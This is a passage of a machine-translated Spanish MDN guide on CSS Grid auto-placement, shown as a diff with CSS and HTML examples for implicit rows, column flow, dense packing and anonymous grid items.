+<p><span class="notranslate">Además de la capacidad de colocar elementos con precisión en una cuadrícula creada, la especificación de diseño de cuadrícula CSS contiene reglas que controlan lo que sucede cuando crea una cuadrícula y no coloca algunos o todos los elementos secundarios.</span> <span class="notranslate"> Puede ver la colocación automática en acción de la manera más simple creando una cuadrícula en un conjunto de elementos.</span> <span class="notranslate"> Si no proporciona información de ubicación a los elementos, se colocarán en la cuadrícula, uno en cada celda de la cuadrícula.</span></p>
+
+<div id="placement_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_1', '500', '230') }}</p>
+</div>
+
+<h2 id="Reglas_predeterminadas_para_la_colocación_automática"><span class="notranslate">Reglas predeterminadas para la colocación automática</span></h2>
+
+<p><span class="notranslate">Como puede ver con el ejemplo anterior, si crea una cuadrícula, todos los elementos secundarios se colocarán uno en cada celda de la cuadrícula.</span> <span class="notranslate"> El flujo predeterminado es organizar los elementos por fila.</span> <span class="notranslate"> La cuadrícula colocará un elemento en cada celda de la fila 1. Si ha creado filas adicionales utilizando la propiedad <code>grid-template-rows</code> , entonces grid continuará colocando elementos en estas filas.</span> <span class="notranslate"> Si la cuadrícula no tiene suficientes filas en la cuadrícula explícita para colocar todos los elementos, se crearán nuevas filas <em>implícitas</em> .</span></p>
+
+<h3 id="Dimensionar_filas_en_la_cuadrícula_implícita"><span class="notranslate">Dimensionar filas en la cuadrícula implícita</span></h3>
+
+<p><span class="notranslate">El valor predeterminado para las filas creadas automáticamente en la cuadrícula implícita es que tengan el tamaño automático.</span> <span class="notranslate"> Esto significa que contendrán el contenido agregado a ellos sin causar un desbordamiento.</span></p>
+
+<p><span class="notranslate">Sin embargo, puede controlar el tamaño de estas filas con la propiedad <code>grid-auto-rows</code> .</span> <span class="notranslate"> Para hacer que todas las filas creadas tengan 100 píxeles de alto, por ejemplo, usaría:</span></p>
+
+
+
+<div id="placement_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div&gt;One&lt;/div&gt;
+    &lt;div&gt;Two&lt;/div&gt;
+    &lt;div&gt;Three&lt;/div&gt;
+    &lt;div&gt;Four&lt;/div&gt;
+    &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_2', '500', '330') }}</p>
+</div>
+
+<p><span class="notranslate">Puede usar <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/minmax&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhjUmn8CALnPlLGqwXvXDDpfMu0Tww" title="La documentación sobre esto aún no se ha escrito; por favor considere contribuir!"><code>minmax()</code></a> en su valor para <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-rows&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgNi8Od6ONl2VQi-luh1_WHMnhvGA" title="La propiedad CSS grid-auto-rows especifica el tamaño de una pista de fila de cuadrícula creada implícitamente."><code>grid-auto-rows</code></a> permite la creación de filas de un tamaño mínimo pero luego crecer para ajustarse al contenido si es más alto.</span></p>
+
+<div id="placement_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+     &lt;div&gt;One&lt;/div&gt;
+     &lt;div&gt;Two&lt;/div&gt;
+     &lt;div&gt;Three&lt;/div&gt;
+     &lt;div&gt;Four
+     &lt;br&gt;This cell
+     &lt;br&gt;Has extra
+     &lt;br&gt;content.
+     &lt;br&gt;Max is auto
+     &lt;br&gt;so the row expands.
+     &lt;/div&gt;
+     &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_3', '500', '330') }}</p>
+</div>
+
+<p><span class="notranslate">También puede pasar una lista de pistas, esto se repetirá.</span> <span class="notranslate"> La siguiente lista de pistas creará una pista de fila implícita inicial como 100 píxeles y una segunda como <code>200px</code> píxeles.</span> <span class="notranslate"> Esto continuará mientras se agregue contenido a la cuadrícula implícita.</span> <span class="notranslate"> <strong>Las listas de seguimiento no son compatibles con Firefox.</strong></span></p>
+
+<div id="placement_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px 200px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_4', '500', '330') }}</p>
+</div>
+
+<h3 id="Colocación_automática_por_columna"><span class="notranslate">Colocación automática por columna</span></h3>
+
+<p><span class="notranslate">También puede pedirle a la cuadrícula que coloque automáticamente los elementos por columna.</span> <span class="notranslate"> Usando la propiedad <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-flow&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhhGAPsqylJcBEC8EgSX7Gqqc-us4Q" title="La propiedad CSS grid-auto-flow controla cómo funciona el algoritmo de colocación automática, especificando exactamente cómo fluyen los elementos colocados automáticamente en la cuadrícula."><code>grid-auto-flow</code></a> con un valor de <code>column</code> .</span> <span class="notranslate"> En este caso, la cuadrícula agregará elementos en las filas que haya definido utilizando <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-template-rows&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhiibrTdo1Q-C-swZP-9Hj4FqNhSYA" title="La propiedad CSS grid-template-rows define los nombres de línea y las funciones de tamaño de seguimiento de las filas de la cuadrícula."><code>grid-template-rows</code></a> .</span> <span class="notranslate"> Cuando llena una columna, se moverá a la siguiente columna explícita o creará una nueva pista de columna en la cuadrícula implícita.</span> <span class="notranslate"> Al igual que con las pistas de fila implícitas, estas pistas de columna tendrán el tamaño automático.</span> <span class="notranslate"> Puede controlar el tamaño de las pistas de columna implícitas con <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-columns&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhisTQnhckNG69vB3s3mdkckl3PnrQ" title="La propiedad CSS grid-auto-columnas especifica el tamaño de una pista de columna de cuadrícula creada implícitamente."><code>grid-auto-columns</code></a> , esto funciona de la misma manera que <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-rows&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgNi8Od6ONl2VQi-luh1_WHMnhvGA" title="La propiedad CSS grid-auto-rows especifica el tamaño de una pista de fila de cuadrícula creada implícitamente."><code>grid-auto-rows</code></a> .</span></p>
+
+<p><span class="notranslate">En el siguiente ejemplo, he creado una cuadrícula con tres pistas de fila de 200 píxeles de altura.</span> <span class="notranslate"> Estoy colocando automáticamente por columna y las columnas creadas tendrán un ancho de columna de 300 píxeles, luego un ancho de columna de 100 píxeles hasta que haya suficientes pistas de columna para contener todos los elementos.</span></p>
+
+
+
+<div id="placement_5">
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-rows: repeat(3, 200px);
+    grid-gap: 10px;
+    grid-auto-flow: column;
+    grid-auto-columns: 300px 100px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_5', '500', '640') }}</p>
+</div>
+
+<h2 id="El_orden_de_los_artículos_colocados_automáticamente"><span class="notranslate">El orden de los artículos colocados automáticamente</span></h2>
+
+<p><span class="notranslate">Una cuadrícula puede contener una mezcla de elementos.</span> <span class="notranslate"> Algunos de los elementos pueden tener una posición en la cuadrícula, pero otros pueden colocarse automáticamente.</span> <span class="notranslate"> Esto puede ser útil, si tiene un orden de documentos que refleja el orden en que los elementos se ubican en la cuadrícula, es posible que no necesite escribir reglas CSS para colocar absolutamente todo.</span> <span class="notranslate"> La especificación contiene una sección larga que detalla el <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://drafts.csswg.org/css-grid/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhht1KzrS4YJdz-dIfSz4pbcik3Zqg#auto-placement-algo" rel="noopener">algoritmo de colocación de elementos de</a> la <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://drafts.csswg.org/css-grid/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhht1KzrS4YJdz-dIfSz4pbcik3Zqg#auto-placement-algo" rel="noopener">cuadrícula</a> , sin embargo, para la mayoría de nosotros solo necesitamos recordar algunas reglas simples para nuestros elementos.</span></p>
+
+<h3 id="Pedido_de_documentos_modificados"><span class="notranslate">Pedido de documentos modificados</span></h3>
+
+<p><span class="notranslate">La cuadrícula coloca los elementos a los que no se les ha asignado una posición de cuadrícula en lo que se describe en la especificación como "orden de documento modificado de orden".</span> <span class="notranslate"> Esto significa que si ha utilizado la propiedad del <code>order</code> , los artículos se colocarán por ese orden, no por su orden DOM.</span> <span class="notranslate"> De lo contrario, permanecerán de forma predeterminada en el orden en que se ingresan en el origen del documento.</span></p>
+
+<h3 id="Artículos_con_propiedades_de_colocación"><span class="notranslate">Artículos con propiedades de colocación</span></h3>
+
+<p><span class="notranslate">Lo primero que hará la cuadrícula es colocar cualquier elemento que tenga una posición.</span> <span class="notranslate"> En el siguiente ejemplo, tengo 12 elementos de cuadrícula.</span> <span class="notranslate"> El elemento 2 y el elemento 5 se han colocado utilizando una colocación basada en líneas en la cuadrícula.</span> <span class="notranslate"> Puede ver cómo se colocan esos elementos y luego los otros elementos se colocan automáticamente en los espacios.</span> <span class="notranslate"> Los artículos colocados automáticamente se colocarán antes de los artículos colocados en orden DOM, no comienzan después de la posición de un artículo colocado que viene antes que ellos.</span></p>
+
+<div id="placement_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+   &lt;div&gt;Nine&lt;/div&gt;
+   &lt;div&gt;Ten&lt;/div&gt;
+   &lt;div&gt;Eleven&lt;/div&gt;
+   &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+ .wrapper div:nth-child(2) {
+   grid-column: 3;
+   grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+   grid-column: 1 / 3;
+   grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_6', '500', '450') }}</p>
+</div>
+
+<h3 id="Maneja_artículos_que_abarcan_pistas"><span class="notranslate">Maneja artículos que abarcan pistas</span></h3>
+
+<p><span class="notranslate">Puede usar las propiedades de ubicación sin dejar de aprovechar la colocación automática.</span> <span class="notranslate"> En el siguiente ejemplo, he agregado al diseño configurando elementos impares para abarcar dos pistas tanto para filas como para columnas.</span> <span class="notranslate"> Hago esto con las propiedades <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-column-end&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhiTUP0c3kBpxu_o_84hDEyxHQeuuA" title="La propiedad CSS de fin de columna de cuadrícula especifica la posición final de un elemento de cuadrícula dentro de la columna de cuadrícula al contribuir una línea, un tramo o nada (automático) a su ubicación de cuadrícula, especificando así el borde del extremo del bloque de su área de cuadrícula."><code>grid-column-end</code></a> y <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-row-end&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhiMYehNwPR_y2q7E_32YoeGI3FJ8w" title="La propiedad CSS de fin de fila de cuadrícula especifica la posición final de un elemento de cuadrícula dentro de la fila de cuadrícula al contribuir una línea, un tramo o nada (automático) a su ubicación de cuadrícula, especificando así el borde final en línea de su área de cuadrícula."><code>grid-row-end</code></a> y establezco el valor de esto para <code>span 2</code> .</span> <span class="notranslate"> Lo que esto significa es que la línea de inicio del artículo se establecerá mediante la colocación automática, y la línea final abarcará dos pistas.</span></p>
+
+<p><span class="notranslate">Puede ver cómo esto deja huecos en la cuadrícula, en cuanto a los elementos colocados automáticamente si la cuadrícula se encuentra con un elemento que no cabe en una pista, se moverá a la siguiente fila hasta que encuentre un espacio que el elemento pueda caber en.</span></p>
+
+<div id="placement_7">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+   &lt;div&gt;Nine&lt;/div&gt;
+   &lt;div&gt;Ten&lt;/div&gt;
+   &lt;div&gt;Eleven&lt;/div&gt;
+   &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+}
+.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+ .wrapper div:nth-child(2) {
+   grid-column: 3;
+   grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+   grid-column: 1 / 3;
+   grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_7', '500', '770') }}</p>
+</div>
+
+<h3 id="Llenando_los_huecos"><span class="notranslate">Llenando los huecos</span></h3>
+
+<p><span class="notranslate">Hasta ahora, aparte de los elementos que hemos colocado específicamente, la cuadrícula siempre avanza y mantiene los elementos en orden DOM.</span> <span class="notranslate"> En general, esto es lo que desea, si está diseñando un formulario, por ejemplo, no desea que las etiquetas y los campos se mezclen para llenar un vacío.</span> <span class="notranslate"> Sin embargo, a veces, estamos diseñando cosas que no tienen un orden lógico y nos gustaría crear un diseño que no tenga huecos.</span></p>
+
+<p><span class="notranslate">Para hacer esto, agregue la propiedad <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://developer.mozilla.org/en-US/docs/Web/CSS/grid-auto-flow&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhhGAPsqylJcBEC8EgSX7Gqqc-us4Q" title="La propiedad CSS grid-auto-flow controla cómo funciona el algoritmo de colocación automática, especificando exactamente cómo fluyen los elementos colocados automáticamente en la cuadrícula."><code>grid-auto-flow</code></a> con un valor <code>dense</code> al contenedor.</span> <span class="notranslate"> Esta es la misma propiedad que usa para cambiar el orden de flujo a <code>column</code> , por lo que si estuviera trabajando en columnas agregaría ambos valores <code>grid-auto-flow: column dense</code> .</span></p>
+
+<p><span class="notranslate">Una vez hecho esto, la grilla ahora rellenará los huecos, a medida que se mueva a través de la grilla, deja huecos como antes, pero luego, si encuentra un elemento que se ajuste a un hueco anterior, lo recogerá y lo sacará del orden DOM para colóquelo en la brecha.</span> <span class="notranslate"> Al igual que con cualquier otro reordenamiento en la cuadrícula, esto no cambia el orden lógico.</span> <span class="notranslate"> El orden de tabulación, por ejemplo, seguirá el orden del documento.</span> <span class="notranslate"> Examinaremos los posibles problemas de accesibilidad de Grid Layout en una guía posterior, pero debe tener cuidado al crear esta desconexión entre el orden visual y el orden de visualización.</span></p>
+
+<div id="placement_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;div&gt;One&lt;/div&gt;
+   &lt;div&gt;Two&lt;/div&gt;
+   &lt;div&gt;Three&lt;/div&gt;
+   &lt;div&gt;Four&lt;/div&gt;
+   &lt;div&gt;Five&lt;/div&gt;
+   &lt;div&gt;Six&lt;/div&gt;
+   &lt;div&gt;Seven&lt;/div&gt;
+   &lt;div&gt;Eight&lt;/div&gt;
+   &lt;div&gt;Nine&lt;/div&gt;
+   &lt;div&gt;Ten&lt;/div&gt;
+   &lt;div&gt;Eleven&lt;/div&gt;
+   &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper div:nth-child(4n+1) {
+  grid-column-end: span 2;
+  grid-row-end: span 2;
+  background-color: #ffa94d;
+}
+ .wrapper div:nth-child(2) {
+   grid-column: 3;
+   grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+   grid-column: 1 / 3;
+   grid-row: 1 / 3;
+}
+.wrapper {
+  display: grid;
+  grid-template-columns: repeat(4, 1fr);
+  grid-auto-rows: 100px;
+  grid-gap: 10px;
+  grid-auto-flow: dense;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_8', '500', '730') }}</p>
+</div>
+
+<h3 id="Elementos_de_cuadrícula_anónimos"><span class="notranslate">Elementos de cuadrícula anónimos</span></h3>
+
+<p><span class="notranslate">Hay una mención en la especificación de elementos de cuadrícula anónimos.</span> <span class="notranslate"> Estos se crean si tiene una cadena de texto dentro de su contenedor de cuadrícula, que no está envuelta en ningún otro elemento.</span> <span class="notranslate"> En el siguiente ejemplo, tenemos tres elementos de cuadrícula, suponiendo que haya configurado el padre con una clase de <code>grid</code> para <code>display: grid</code> .</span> <span class="notranslate"> El primero es un elemento anónimo, ya que no tiene un marcado adjunto, este elemento siempre se tratará a través de las reglas de colocación automática.</span> <span class="notranslate"> Los otros dos son elementos de cuadrícula encerrados en un div, pueden colocarse automáticamente o puede colocarlos con un método de posicionamiento en su cuadrícula.</span></p>
+
+<pre class="brush: css">&lt;div class="grid"&gt;
+  I am a string and will become an anonymous item
+  &lt;div&gt;A grid item&lt;/div&gt;
+  &lt;div&gt;A grid item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><span class="notranslate">Los elementos anónimos siempre se colocan automáticamente porque no hay forma de orientarlos.</span> <span class="notranslate"> Por lo tanto, si tiene algún texto sin envolver por alguna razón en su cuadrícula, tenga en cuenta que puede aparecer en algún lugar inesperado, ya que se colocará automáticamente de acuerdo con las reglas de colocación automática.</span></p>
+
+<h3 id="Casos_de_uso_para_la_colocación_automática"><span class="notranslate">Casos de uso para la colocación automática</span></h3>
+
+<p><span class="notranslate">La colocación automática es útil siempre que tenga una colección de artículos.</span> <span class="notranslate"> Pueden ser elementos que no tienen un orden lógico, como una galería de fotos o una lista de productos.</span> <span class="notranslate"> En ese caso, puede optar por utilizar el modo de embalaje denso para rellenar los agujeros en su cuadrícula.</span> <span class="notranslate"> En mi ejemplo de galería de imágenes tengo algunas imágenes de paisajes y algunas de retratos.</span> <span class="notranslate"> He configurado imágenes de paisajes, con una clase de <code>landscape</code> para abarcar dos pistas de columna.</span> <span class="notranslate"> Luego uso <code>grid-auto-flow: dense</code> para crear una grilla densamente empaquetada.</span></p>
+
+<div id="placement_9">
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
+    grid-gap: 10px;
+    grid-auto-flow: dense;
+    list-style: none;
+    margin: 1em auto;
+    padding: 0;
+    max-width: 800px;
+}
+.wrapper li {
+    border: 1px solid #ccc;
+}
+.wrapper li.landscape {
+    grid-column-end: span 2;
+}
+.wrapper li img {
+   display: block;
+   object-fit: cover;
+   width: 100%;
+   height: 100%;
+}
+</pre>
+
+<pre class="brush: html">&lt;ul class="wrapper"&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li class="landscape"&gt;&lt;img src="http://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+   &lt;li&gt;&lt;img src="http://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_9', '500', '1300') }}</p>
+</div>
+
+<p><span class="notranslate">La colocación automática también puede ayudarlo a diseñar elementos de interfaz que tengan un orden lógico.</span> <span class="notranslate"> Un ejemplo es la lista de definiciones en el siguiente ejemplo.</span> <span class="notranslate"> Las listas de definición son un desafío interesante para el estilo, ya que son planas, no hay nada que envuelva los grupos de elementos <code>dt</code> y <code>dd</code> .</span> <span class="notranslate"> En mi ejemplo, estoy permitiendo la colocación automática para colocar los elementos, sin embargo, tengo clases que comienzan un <code>dt</code> en la columna 1, y <code>dd</code> en la columna 2, esto garantiza que los términos vayan de un lado y las definiciones del otro, sin importar cuántos de cada uno que tenemos.</span></p>
+
+<div id="placement_10">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+   &lt;dl&gt;
+       &lt;dt&gt;Mammals&lt;/dt&gt;
+       &lt;dd&gt;Cat&lt;/dd&gt;
+       &lt;dd&gt;Dog&lt;/dd&gt;
+       &lt;dd&gt;Mouse&lt;/dd&gt;
+       &lt;dt&gt;Fish&lt;/dt&gt;
+       &lt;dd&gt;Guppy&lt;/dd&gt;
+       &lt;dt&gt;Birds&lt;/dt&gt;
+       &lt;dd&gt;Pied Wagtail&lt;/dd&gt;
+       &lt;dd&gt;Owl&lt;/dd&gt;
+   &lt;/dl&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">dl {
+  display: grid;
+  grid-template-columns: auto 1fr;
+  max-width: 300px;
+  margin: 1em;
+  line-height: 1.4;
+}
+dt {
+  grid-column: 1;
+  font-weight: bold;
+}
+dd {
+   grid-column: 2;
+ }
+</pre>
+
+<p>{{ EmbedLiveSample('placement_10', '500', '230') }}</p>
+</div>
+
+<h2 id="¿Qué_no_podemos_hacer_con_la_colocación_automática_todavía"><span class="notranslate">¿Qué no podemos hacer con la colocación automática (todavía)?</span></h2>
+
